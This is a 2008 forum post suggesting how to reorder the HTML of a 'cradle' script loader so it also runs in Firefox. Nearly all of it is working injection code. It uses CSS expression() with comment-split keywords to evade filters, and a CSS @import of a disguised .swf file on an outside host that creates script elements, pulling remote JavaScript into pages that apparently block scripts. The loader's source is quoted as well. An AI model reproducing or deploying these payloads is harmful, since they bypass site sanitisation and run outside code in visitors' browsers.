I think the solution for those errors in Fx is to change to format of the code
instead of this:
[quote]<style type='text/css'>@import url(http://h1.ripway.com/thecradle/loader.swf);</style><a id='cradle' style="obj:expres/**/sion(function b(){c=document.createElement('script');c.src=cradle.innerHTML;navBg.appendChild(c)}b());text:expres/**/sion(cradle.style.obj='0');visibility:hidden">URL OF JS</a>[/quote]
make it like this:
[quote]<a id='cradle' style="obj:expres/**/sion(function b(){c=document.createElement('script');c.src=cradle.innerHTML;navBg.appendChild(c)}b());text:expres/**/sion(cradle.style.obj='0');visibility:hidden">URL OF JS</a><style type='text/css'>@import url(http://h1.ripway.com/thecradle/loader.swf);</style>[/quote]
shift the position of [b]style[/b] and [b]a[/b] tag
remember in the
http://h1.ripway.com/thecradle/fxloader.swf
[quote]function fxLoader(){
a=document.getElementById("[b]cradle[/b]").innerHTML
b=document.createElement("script")
b.type="text/javascript"
b.src=a
document.getElementsByTagName("head")[0].appendChild(b)
}
fxLoader()[/quote]
it search for the id [b]cradle[/b], so the [b]a[/b] tag with the id [b]cradle[/b] which contains the link of your Js file must exist first before the [b]style[/b] tag.
or to make sure, make it like this:
[quote]<a id='cradle'>URL OF JS</a>
<style type='text/css'>@import url(http://h1.ripway.com/thecradle/loader.swf);</style>
<a style="obj:expres/**/sion(function b(){c=document.createElement('script');c.src=cradle.innerHTML;navBg.appendChild(c)}b()); text:expres/**/sion(cradle.style.obj='0')"></a>[/quote]
[quote]Just a suggestion[/quote]
Last edited by myparis (2008-04-20 08:07:25)